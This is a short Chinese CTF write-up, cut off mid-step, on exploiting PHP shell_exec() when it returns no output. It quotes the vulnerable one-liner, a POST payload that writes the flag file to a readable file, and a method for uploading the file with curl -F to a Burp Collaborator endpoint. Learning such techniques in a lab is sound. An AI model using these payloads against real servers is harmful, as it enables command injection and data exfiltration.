遇到shell_exec()函数无回显执行,比如:
123 <?phphighlight_file(__FILE__);shell_exec($_POST['cmd']);
在PHP中 “>” 是表示把什么写入什么文件的意思。
比如这道题目,既然无回显,那我就把它写进一个文件,然后访问这个文件不就可以了。
可以使用burp上的Collaborator抓取。
以上题为例,详细抓取步骤:
先将无回显的内容保存在一个文件里,post以下:
1cmd=cat /f* > 2.txt
这样有了一个文件2.txt,其中是执行了cat /f* 命令的结果,接下来抓取该文件就能看到了。
使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)
获取Collaborator Client分配给BURP的链接:
打开Burp主界面 --> ...